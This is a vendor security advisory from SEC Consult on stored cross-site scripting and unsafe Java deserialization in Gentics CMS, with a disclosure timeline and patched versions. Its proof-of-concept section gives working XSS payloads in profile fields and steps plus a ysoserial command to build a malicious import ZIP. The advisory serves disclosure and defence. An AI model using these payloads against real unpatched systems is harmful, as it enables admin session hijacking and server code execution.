SEC Consult Vulnerability Lab Security Advisory < 20220608-0 >

           title: Stored Cross-Site Scripting & Unsafe Java Deserializiation  
         product: Gentics CMS  

vulnerable version: 5.36.29, see section below
fixed version: 5.40.27, 5.41.15, 5.42.7, 5.43.1 or higher
CVE number: CVE-2022-30981, CVE-2022-30982
impact: high
homepage: https://www.gentics.com/
found: 2021-04-02
by: Gerhard Hechenberger (Office Vienna)
Steffen Robertz (Office Vienna)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Atos company  
                  Europe | Asia | North America

                  https://www.sec-consult.com

=======================================================================

Vendor description:

“APA-IT Informations Technologie GmbH offers offers support with a focus on
media solutions and IT-outsourcing. As a subsidiary of APA – Austria Press
Agency, we are responsible for the IT of the Austrian news agency as well
as numerous other media enterprises.
This expertise and insight into the industry make APA-IT an expert for IT
solutions for publishers and media-related companies. Existing systems and
tools are constantly developed and tailored to individual customer needs.
As such, APA-IT is always available – from conception to operation.”

Source: https://www.gentics.com/genticscms/company_gentics.en.html

Business recommendation:

The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products
conducted by security professionals to identify and resolve all security
issues.

Vulnerability overview/description:

1. Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)
   Multiple cross-site scripting vulnerabilities are present in the application.
   An attacker can store malicious JavaScript code in the username and profile
   description. The code will execute once an admin user hovers over the
   attacker’s username. Thus, the attacker can execute code in the context of an
   admin.

2. Unsafe Java Deserialization (CVE-2022-30981)
   The Gentics CMS has an import option which will accept ZIP files. The archive
   includes a Java serialized object that gets deserialized on import. This can
   lead to code execution on the server.
   A low privileged user might be able to exploit this vulnerability by chaining
   it together with vulnerability 1).

Proof of concept:

1. Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)
   To trigger the first XSS, an attacker has to change the profile description to
   include a payload, e.g. "<script>alert(document.domain)</script)". The payload
   will execute once a user with access to the userlist hovers his mouse over the
   profile name. The event “onmouseover” will trigger following code:

JSI3_comp_list_401__ass( this, 'Properties’, '<b>Malicious User Name</b><br>
<script>alert(document.domain)</script><br><br>created:<br> 09/20/2002
( Gentics Support)<br>last edited:<br>15:56 (Malicious Username)', ‘’ );

The execution of the code leads to following function:

function JSI3_comp_list_401__ass( obj, title, text, assTitle )
{
JSI3_comp_list_401__assReset();
clearTimeout( JSI3_comp_list_401___ass_timeout );
JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle );
}

The malicious code, which is contained in the “text” parameter, gets passed
through to the next function. There it is added to an HTML element and thus
executed in the browser.

function JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ) {
if (!JSI3_comp_list_401__ass_show_row_tipsy[obj.id]) {
JSI3_comp_list_401__ass_show_row_tipsy[obj.id] = true;
$(obj).attr('title’, ‘<h6>’+title+’</h6>’+text+((assTitle)?’<br>’+assTitle:’’));
$(obj).tipsy({
trigger: 'manual’,
html: true,
offset: 3,
delayIn: 900,
delayOut: 0,
opacity: 0.85,
gravity: ‘nww’
});
}
$(obj).tipsy(“show”);
gcn_active_tipsy = obj;
}

Another XSS vector can be found in the parameters “First Name” and “Last Name".
By e.g. changing the last name to 'Node” onload="alert(document.domain)',
JavaScript code is added to the profile picture that is loaded in the upper
right corner on every page. The following snippet shows the vulnerable line of
code:

<div id="profil">
<div><img src="?do=11&module=system&img=profile_man.png" title="Admin Node" onload="alert(document.domain)" class="profile_avatar"></div>

The third XSS is caused by changing the first and last name into JavaScript
code without prior encoding. Changing the last name to
“Last Name’+eval(alert(document.domain))+’” will cause the following code to be
included in the server’s response:

<script language="JavaScript" type="text/javascript">
var menus = new Array();
var imgs = new Array();
menus[‘Admin Last Name’+eval(alert(document.domain))+’’] = new Array();
menus[‘Admin Last Name’+eval(alert(document.domain))+’’][‘layer_pos’] = 1;
menus[‘Admin Last Name’+eval(alert(document.domain))+’’][‘align’] = 'r’;

2. Unsafe Java Deserialization (CVE-2022-30981)
   First, a malicious ZIP archive needs to be created. The following files will need to
   be included within this archive:

bundlebuild.xml:

<?xml version="1.0" encoding="UTF-8"?>
<bundlebuild>
<bundleinfo>
<name><![CDATA[test4]]></name>
<sourcehost><![CDATA[b1d80757b76c]]></sourcehost>
<description><![CDATA[]]></description>
<globalid>9d6243ab-a281-11eb-9ae3-0242ac130004</globalid>
<globalprefix>D77D</globalprefix>
</bundleinfo>
<builds>
<build>
<builddate>1618996405</builddate>
<changelog><![CDATA[test4]]></changelog>
<count>0</count>
</build>
</builds>
<tables>
</tables>
</bundlebuild>

containedobjects.xml:

<?xml version="1.0" encoding="UTF-8"?>
<objects>
</objects>

The third file has to be named “serializedjava.bin” and contains the actual
payload. A demo payload can be generated with following command:
$ ysoserial FileUpload1 ‘write;/tmp;SECTEST’ > serializedjava.bin

Those three files have to be zipped together into an archive, which can be
uploaded.

The import feature is available under Enterprise CMS -> Administration ->
Import and Export. Now select New->Import and upload the malicious ZIP archive.
Wait until the import completed. Now click on “Test succeeded” in the file
list. On the new screen select "Start import in background". The payload should
create a file called “upload_<random_uuid>.tmp” in the folder /tmp. It will
contain the string "SECTEST".
Better deserialization chains could be built to reach more interesting targets.
It is very likely, that RCE could be obtained by writing an own deserialization
chain.

Vulnerable / tested versions:

The following product version has been tested and found to be vulnerable. Other versions
are vulnerable as well, please see the vendor’s changelog in the solution section.

• Gentics CMS 5.36.29

Vendor contact timeline:

2022-04-04: Contacting vendor through [email protected]
2022-04-04: Ticket SUP-13323 created.
2022-04-05: Sent advisory via unencrypted email to provided vendor email address.
2022-05-04: Updates for Gentics CMS were released on 14th April.
2022-05-05: Gentics provides us with the fixed version numbers.
2022-06-08: Release of security advisory.

Solution:

Update to versions greater or equal to:

• 5.40.27 (see https://gentics.com/Content.Node/changelog/5.40.0/5.40.27.html)
• 5.41.15 (see https://gentics.com/Content.Node/changelog/5.41.0/5.41.15.html)
• 5.42.7 (see https://gentics.com/Content.Node/changelog/5.42.0/5.42.7.html)
• 5.43.1 (see https://gentics.com/Content.Node/changelog/5.43.0/5.43.1.html)

Workaround:

None

Advisory URL:

https://sec-consult.com/vulnerability-lab/

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

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EOF Gerhard Hechenberger, Steffen Robertz / @2022